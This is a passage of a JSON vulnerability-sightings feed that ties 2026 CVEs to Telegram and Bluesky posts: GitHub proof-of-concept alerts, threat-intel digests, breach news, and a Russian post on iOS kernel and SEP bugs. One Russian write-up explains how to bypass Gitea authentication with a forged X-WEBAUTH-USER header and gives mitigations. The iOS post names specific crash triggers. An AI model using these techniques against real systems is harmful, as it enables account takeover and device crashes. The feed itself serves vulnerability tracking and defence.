"5e1530d2-7454-4356-8c98-c38fb27ee69d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88224", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20245---Cisco-SD-WAN-Privilege-Escalation-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-10 15:52:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n**Este c\u00f3digo es SOLO para fines educativos y pruebas de seguridad autorizadas.**\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:49.518754Z"}, {"uuid": "f16e5e7f-2a74-404d-bff1-e85bc40a193c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88542", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20230-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HalilDeniz\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-12 19:50:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCisco Unified Communications Manager (Unified CM) deployments affected by CVE-2026-20230.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:50.647065Z"}, {"uuid": "27f7e3bb-274b-4e9c-88e7-71c5e84604eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mqjngi26od2u", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-48282, CVE-2026-50656, CVE-2026-55255, CVE-2026-20896, CVE-2026-53359\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-07-13T12:01:15.571749Z"}, {"uuid": "2d9dcda6-b0b9-4e71-b505-a4111f295935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0438: \u0442\u0443\u0442 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043d\u0443\u0436\u043d\u043e\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u0441\u0440\u0430\u0437\u0443.\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-13T13:00:04.193243Z"}, {"uuid": "fb930224-cfc4-4a0d-be82-465703b78d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/CyberSecurityIL/85834", "content": "\u05dc\u05d0 \u05d4\u05e1\u05e4\u05e7\u05ea\u05d9 \u05dc\u05e2\u05d3\u05db\u05df \u05d1\u05e9\u05d5\u05d8\u05e3, \u05d0\u05d6 \u05de\u05e8\u05db\u05d6 \u05dc\u05db\u05dd \u05db\u05de\u05d4 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05e1\u05d9\u05d9\u05d1\u05e8 \u05de\u05e1\u05d1\u05d9\u05d1 \u05dc\u05e2\u05d5\u05dc\u05dd:\n\n- \u05d4\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05dc\u05d4\u05d2\u05e0\u05ea \u05e1\u05d9\u05d9\u05d1\u05e8 \u05d5\u05ea\u05e9\u05ea\u05d9\u05d5\u05ea \u05d1\u05d0\u05e8\u05d4\"\u05d1 (CISA), \u05d3\u05d5\u05e8\u05e9\u05ea \u05de\u05e1\u05d5\u05db\u05e0\u05d5\u05ea \u05de\u05de\u05e9\u05dc\u05ea\u05d9\u05d5\u05ea \u05dc\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05d4\u05de\u05d5\u05e6\u05e8 Cisco Unified Communications Manager \u05d1\u05e9\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc (CVE-2026-20230).\n\n- \u05d7\u05d1\u05e8\u05ea \u05d4\u05ea\u05e7\u05e9\u05d5\u05e8\u05ea \u05d4\u05d9\u05e4\u05e0\u05d9\u05ea KODI \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05db-14.2 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e9\u05d9\u05d2\u05d5 \u05d2\u05d9\u05e9\u05d4 \u05d7\u05dc\u05e7\u05d9\u05ea \u05dc\u05de\u05e2\u05e8\u05db\u05ea \u05d4\u05d3\u05d5\u05d0\"\u05dc \u05d3\u05e8\u05da \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05ea\u05d5\u05db\u05e0\u05d4 \u05e6\u05d3 \u05d2'.\n\n- \u05e2\u05d5\u05d3 \u05de\u05d9\u05e4\u05df: \u05d7\u05d1\u05e8\u05ea Nidec Corporation, \u05d4\u05e2\u05d5\u05e1\u05e7\u05ea \u05d1\u05d9\u05d9\u05e6\u05d5\u05e8 \u05d7\u05dc\u05e7\u05d9\u05dd \u05dc\u05e8\u05db\u05d1 \u05d5\u05db\u05d5' , \u05e0\u05e4\u05dc\u05d4 \u05e7\u05e8\u05d1\u05df \u05dc\u05de\u05ea\u05e7\u05e4\u05ea \u05db\u05d5\u05e4\u05e8. \n\u05e7\u05d1\u05d5\u05e6\u05ea Blackfield \u05dc\u05d5\u05e7\u05d7\u05ea \u05d0\u05d7\u05e8\u05d9\u05d5\u05ea \u05d5\u05d3\u05d5\u05e8\u05e9\u05ea \u05d3\u05de\u05d9 \u05db\u05d5\u05e4\u05e8 \u05e9\u05dc 2 \u05de\u05d9\u05dc\u05d9\u05d5\u05df \u05d3\u05d5\u05dc\u05e8 (\u05de\u05d3\u05d5\u05d1\u05e8 \u05d1\u05d7\u05d1\u05e8\u05ea \u05e2\u05e0\u05e7 \u05e2\u05dd \u05d4\u05db\u05e0\u05e1\u05d5\u05ea \u05e9\u05e0\u05ea\u05d9\u05d5\u05ea \u05e9\u05dc \u05db-17 \u05de\u05d9\u05dc\u05d9\u05d0\u05e8\u05d3 \u05d3\u05d5\u05dc\u05e8).. \n\n- \u05d5\u05d0\u05d7\u05e8\u05d5\u05df \u05de\u05d9\u05e4\u05df: \u05d7\u05d1\u05e8\u05ea \u05d4\u05d1\u05d9\u05d8\u05d5\u05d7 Aflac \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05d3\u05dc\u05e3 \u05de\u05d9\u05d3\u05e2 \u05e9\u05dc \u05de\u05d9\u05dc\u05d9\u05d5\u05e0\u05d9 \u05dc\u05e7\u05d5\u05d7\u05d5\u05ea \u05dc\u05d0\u05d7\u05e8 \u05e9\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e4\u05e8\u05e6\u05d5 \u05dc\u05e9\u05dc\u05d5\u05d7\u05d4 \u05e9\u05dc \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d1\u05d9\u05e4\u05df.\n\nhttps://t.me/CyberSecurityIL/9151", "creation_timestamp": "2026-07-13T13:00:04.639069Z"}, {"uuid": "23abb9b5-8091-4970-a142-50318d44a74b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://t.me/poxek/6232", "content": "CVE-2026-20896 \u0432 Gitea \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u0434\u0435\u0440\u0433\u0430\u0442\u044c \u0432\u0436\u0438\u0432\u0443\u044e: \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u043f\u0435\u0440\u0432\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 13 \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f\n\n\u0412 Docker-\u0448\u0430\u0431\u043b\u043e\u043d\u0435 app.ini \u0431\u044b\u043b \u0434\u0435\u0444\u043e\u043b\u0442 REVERSE_PROXY_TRUSTED_PROXIES = *, \u0445\u043e\u0442\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e loopback. \u0415\u0441\u043b\u0438 \u0430\u0434\u043c\u0438\u043d \u0432\u043a\u043b\u044e\u0447\u0438\u043b ENABLE_REVERSE_PROXY_AUTHENTICATION \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0438\u043c reverse proxy \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c HTTP-\u043f\u043e\u0440\u0442 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e, \u043b\u044e\u0431\u043e\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0441\u043b\u0430\u0442\u044c X-WEBAUTH-USER: poxek \u0438 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 Gitea \u043a\u0430\u043a poxek \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u043a\u0435\u043d\u0430.\n\n\u267e\ufe0f\u0418\u043c\u043f\u0430\u043a\u0442\u267e\ufe0f\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0438\u043b\u0438 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u043b\u043e\u0433\u0438\u043d \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0435\u0441\u0441\u0438\u044e \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0414\u043b\u044f admin, gitea_admin \u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0445 \u0438\u043c\u0435\u043d \u044d\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 takeover Gitea \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f: \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, packages, \u0440\u0435\u043b\u0438\u0437\u044b, \u0432\u0435\u0431\u0445\u0443\u043a\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e downstream CI/CD. RCE \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0431\u043b\u0435\u043a\u0431\u043e\u043a\u0441 \u0438\u043c\u043f\u0430\u043a\u0442\u043e\u043c \u0441\u0430\u043c\u043e\u0439 CVE; \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0430\u043b\u043b\u044f\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 runner, \u0445\u0443\u043a\u0438, CI-\u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u043b\u0438 deployment-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d.\n\n\u267e\ufe0fPoC\u267e\ufe0f\n\u042f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 PoC, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0441\u0432\u043e\u0439 \u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC/\u0447\u0435\u043a\u0435\u0440: szybnev/cve-2026-20896-gitea-poc\n\n\u0412 \u0440\u0435\u043f\u0435 \u0435\u0441\u0442\u044c Go-\u0432\u0435\u0440\u0441\u0438\u044f \u0434\u043b\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441 --targets, --user-file, --concurrency, --jsonl \u0438 --dry-run, \u043f\u043b\u044e\u0441 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 Bash \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a \u0431\u0435\u0437 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0427\u0435\u043a\u0435\u0440 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0430\u0440\u0441\u0438\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438 \u043d\u0435 \u0444\u0430\u0437\u0437\u0438\u0442 usernames, \u0435\u0441\u043b\u0438 \u0432\u0438\u0434\u0438\u0442 Gitea >=1.26.3, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 Powered by Gitea Version: 1.26.4. \u0414\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 1.26.2 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 impersonation \u043f\u043e title dashboard \u0431\u0435\u0437 cookie \u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u267e\ufe0f\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f\u267e\ufe0f\n\u25aa\ufe0f\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e 1.26.3, \u043b\u0443\u0447\u0448\u0435 \u0434\u043e 1.26.4+;\n\u25aa\ufe0f\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c giea \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e\n\u25aa\ufe0f\u044f\u0432\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c trusted proxies\n\u25aa\ufe0f\u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c reverse-proxy auth \u0431\u0435\u0437 \u043f\u043e\u043d\u044f\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u044b\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:\nGHSA-f75j-4cw6-rmx4 / Gitea 1.26.3/1.26.4 release notes\nfix PR #38151 / CVE record\nSysdig telemetry via The Hacker News\n\n\ud83c\udf1a @poxek | \ud83c\udf1a @poxek_ai | \ud83d\udcf2 MAX", "creation_timestamp": "2026-07-13T13:00:04.298669Z"}, {"uuid": "3a12f14c-3634-48b0-8d54-0a0826b22716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2050", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mqjtidtfzx2q", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-2050: GIMP HDR File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability\nCVSS 7.8 \u00b7 EPSS 0.6% \u00b7 0day\nhttps://beta.vulnsea.com/cve/CVE-2026-2050\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-07-13T13:49:40.988833Z"}, {"uuid": "202ab43e-0c6a-474c-8be6-e0cbc5939fee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 